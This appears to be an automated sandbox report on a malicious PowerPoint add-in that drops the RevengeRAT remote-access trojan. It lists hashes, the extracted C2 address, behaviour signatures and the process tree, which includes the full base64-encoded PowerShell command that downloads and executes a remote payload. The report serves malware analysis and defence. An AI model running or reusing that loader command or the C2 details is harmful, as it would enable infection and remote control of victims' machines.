Analysis

  • max time kernel
    119s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    16-04-2024 15:34

General

  • Target

    RES094464-2180.ppam

  • Size

    28KB

  • MD5

    7e0c3f4ee3bb201339b0be1e73142374

  • SHA1

    bb1dbdfd0cbbdb0f33dba0502d896224ba567680

  • SHA256

    013fefe1917cdeedc66a5e4bee5417894491591296a91a507224ae5af9618cda

  • SHA512

    5398377cd90f8aa3b8834eef60fcf438c9eeed154e78447b902e04b1f5071726aa03c2bcca5280da1c8e06649b9a01f7645638ae6cd09f8a68f69fe41f299da4

  • SSDEEP

    768:VPKiNgILNl1pb2GdSXlWEsusK+oCx7oho6n7vtxUkO:VC6vgIS4tokyH7lmkO

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

craxsrat.ddns.com.br:333

Mutex

27d7e6701f5e

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\RES094464-2180.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2928
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2540
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9AGIAOAA1AGIANABiADMANAAtADQAZgBiADkALQA0ADgANAAwAC0AYQAxAGQANwAtADMAMgA3AGEAZABlAGIAZQAwAGMANAA0AA0ACgAnACkAOwAgAA0ACgBHAHoATQBJAFQAWgBQAFIAVwBhAFQATQBvAEMAVwBiAGEAUwBNAFcAQgBkAEgASwBhAG8AcgBJAGMAdwBkAFkAbwBpAHoAeQBWAFIAdgBSAEkAUgBNAGYASABLAHoAawBYAEMAcwBwAFcAUwBIAGMAcwBjAEgARwBrAGgAUQBtAFcAVQB6AEsASABEAGgAawBHAHkAbwBMAHMAQwBkAHMAVABpAE0ADQAKAA==""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2736
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Checks processor information in registry
          PID:1404

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1404-42-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1404-66-0x0000000000750000-0x0000000000790000-memory.dmp
      Filesize

      256KB

    • memory/1404-65-0x0000000067420000-0x0000000067B0E000-memory.dmp
      Filesize

      6.9MB

    • memory/1404-60-0x0000000000750000-0x0000000000790000-memory.dmp
      Filesize

      256KB

    • memory/1404-58-0x0000000067420000-0x0000000067B0E000-memory.dmp
      Filesize

      6.9MB

    • memory/1404-55-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1404-53-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1404-51-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1404-49-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
      Filesize

      4KB

    • memory/1404-48-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1404-46-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/1404-44-0x0000000000400000-0x000000000040A000-memory.dmp
      Filesize

      40KB

    • memory/2736-25-0x000000006B950000-0x000000006BEFB000-memory.dmp
      Filesize

      5.7MB

    • memory/2736-24-0x000000006B950000-0x000000006BEFB000-memory.dmp
      Filesize

      5.7MB

    • memory/2736-35-0x0000000002950000-0x0000000002968000-memory.dmp
      Filesize

      96KB

    • memory/2736-33-0x0000000002950000-0x0000000002968000-memory.dmp
      Filesize

      96KB

    • memory/2736-31-0x0000000002950000-0x0000000002968000-memory.dmp
      Filesize

      96KB

    • memory/2736-29-0x0000000002950000-0x0000000002968000-memory.dmp
      Filesize

      96KB

    • memory/2736-28-0x0000000002950000-0x0000000002968000-memory.dmp
      Filesize

      96KB

    • memory/2736-37-0x0000000002950000-0x0000000002968000-memory.dmp
      Filesize

      96KB

    • memory/2736-41-0x0000000002990000-0x0000000002991000-memory.dmp
      Filesize

      4KB

    • memory/2736-39-0x0000000002950000-0x0000000002968000-memory.dmp
      Filesize

      96KB

    • memory/2736-27-0x00000000028C0000-0x0000000002900000-memory.dmp
      Filesize

      256KB

    • memory/2736-26-0x00000000028C0000-0x0000000002900000-memory.dmp
      Filesize

      256KB

    • memory/2736-57-0x000000006B950000-0x000000006BEFB000-memory.dmp
      Filesize

      5.7MB

    • memory/2928-40-0x000000007288D000-0x0000000072898000-memory.dmp
      Filesize

      44KB

    • memory/2928-59-0x0000000004930000-0x0000000004A30000-memory.dmp
      Filesize

      1024KB

    • memory/2928-18-0x0000000004930000-0x0000000004A30000-memory.dmp
      Filesize

      1024KB

    • memory/2928-14-0x0000000004930000-0x0000000004A30000-memory.dmp
      Filesize

      1024KB

    • memory/2928-56-0x0000000004930000-0x0000000004A30000-memory.dmp
      Filesize

      1024KB

    • memory/2928-0-0x000000002D5A1000-0x000000002D5A2000-memory.dmp
      Filesize

      4KB

    • memory/2928-9-0x00000000060B0000-0x00000000061B0000-memory.dmp
      Filesize

      1024KB

    • memory/2928-21-0x0000000004930000-0x0000000004A30000-memory.dmp
      Filesize

      1024KB

    • memory/2928-8-0x0000000004930000-0x0000000004A30000-memory.dmp
      Filesize

      1024KB

    • memory/2928-61-0x0000000004930000-0x0000000004A30000-memory.dmp
      Filesize

      1024KB

    • memory/2928-63-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2928-64-0x000000007288D000-0x0000000072898000-memory.dmp
      Filesize

      44KB

    • memory/2928-2-0x000000007288D000-0x0000000072898000-memory.dmp
      Filesize

      44KB

    • memory/2928-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB